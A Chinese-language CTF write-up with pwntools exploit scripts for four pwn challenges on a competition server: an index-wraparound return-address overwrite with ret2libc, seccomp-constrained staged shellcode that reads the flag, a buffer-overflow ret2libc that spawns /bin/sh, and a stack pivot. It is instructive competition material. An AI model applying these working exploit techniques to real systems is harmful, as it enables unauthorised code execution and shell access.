题目来源[QingCenCTF]


hacker

在这里插入图片描述
在 64 位机器地址里,减去一个 2^64 等于没减,因为地址运算本质上按模 2^64 环绕。
所以我们在返回地址下标13的基础上,减去2^61(一个数组元素8字节)相乘起来就是2 ^64,就能绕过小正数索引的检查了。
这样我们可以覆盖返回地址了,后面就是简单libc了。

from pwn import *

e=ELF("./pwn")
libc=ELF("./libc.so.6")

p=remote("docker.qingcen.net",37217)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
n2b=lambda x:str(x).encode()
sn=lambda x:p.sendline(n2b(x))

sl(b'zhx')
def make(content):
    for i in range(10-len(content)):
        ru(b'Enter hacker index:\n')
        sn(0)
        ru(b'Enter hacker age:\n')
        sn(0)
    for i in range(len(content)):
        ru(b'Enter hacker index:\n')
        sn(-(2**61)+13+i)
        ru(b'Enter hacker age:\n')
        sn(content[i])

ret=0x400631
rdi=0x0000000000400a33
content=[rdi,e.got.puts,e.plt.puts,e.sym.main]
make(content)
libc_base=u64(ru(b'\x7f')[-6::].ljust(8,b'\x00'))-libc.sym.puts
print(hex(libc_base))

sh=libc_base+next(libc.search(b'/bin/sh\x00'))
system=libc_base+libc.sym.system

sl(b'zhx')
content=[rdi,sh,ret,system]
make(content)
p.interactive()

nine

比较有意思的一道shellcode。
先看一下沙箱规则:
在这里插入图片描述

我们可以先构造shell1=asm("syscall; mov rsi, rcx; mov edx, ecx; syscall")
在这里插入图片描述
在这里插入图片描述
第一个syscall,会执行read(0,null,0),意义在于使rcx=rip,后面后执行read(0,rip,rip)。然后往其写orw即可。
asm("mov rsi, rcx; mov edx, ecx; syscall")共7个字节,后面向rip位置读入的orw需要先绕过这7个字节,后面就会衔接执行orw了。

from pwn import *
p=remote('docker.qingcen.net',35257)
context.arch = "amd64"

shell1=asm("syscall; mov rsi, rcx; mov edx, ecx; syscall")
print(len(shell1))
shell2=b'\x90'*7
shell2+=asm('''
mov rbx,0x67616c662f
push rbx
mov rdi,rsp
mov rsi,0
mov rax,2
syscall
            
mov rdi,rax
mov rbx,0x1000
push rbx
mov rsi,rsp
mov rdx,0x100
xor rax,rax
syscall

mov rdi,1
mov rax,1
syscall 
''')

p.recvuntil(b'Give me your shellcode (max 9 bytes): ')
p.send(shell1)
sleep(0.1)
p.send(shell2)
p.interactive()

as a pwner

ez-ret2ibc,没啥好说的

from pwn import *
p=remote('docker.qingcen.net',35293)
#p=process('./pwn')
e=ELF('./pwn')
libc=ELF('./libc.so.6')

context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
n2b=lambda x:str(x).encode()

rdi=0x000000000040123d
ret=0x000000000040101a
ru(b'Plz enter your thought of libc: \n')
s(b'a'*0x108+flat(rdi,e.got.puts,e.plt.puts,e.sym.main))

ru(b'It is Good! Thank you\n')
libc_base=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-libc.sym.puts
print(hex(libc_base))

system=libc.sym.system+libc_base
sh=libc_base+next(libc.search(b'/bin/sh'))

s(b'a'*0x108+flat(rdi,sh,ret,system))
p.interactive()

ctx

解题思路:
在这里插入图片描述

from pwn import *
p=remote('docker.qingcen.net',35310)
context.arch='amd64'

context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'
context.arch='amd64'
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
s=lambda x:p.send(x)
n2b=lambda x:str(x).encode()

py=b'a'*(0x40+0xa0)+p64(0x404000+0x800)+p64(0x401370)
ru(b'Give me your name:\n')
s(py)

p.interactive()

总结

还是有收获的,后面继续打堆吧。

更多推荐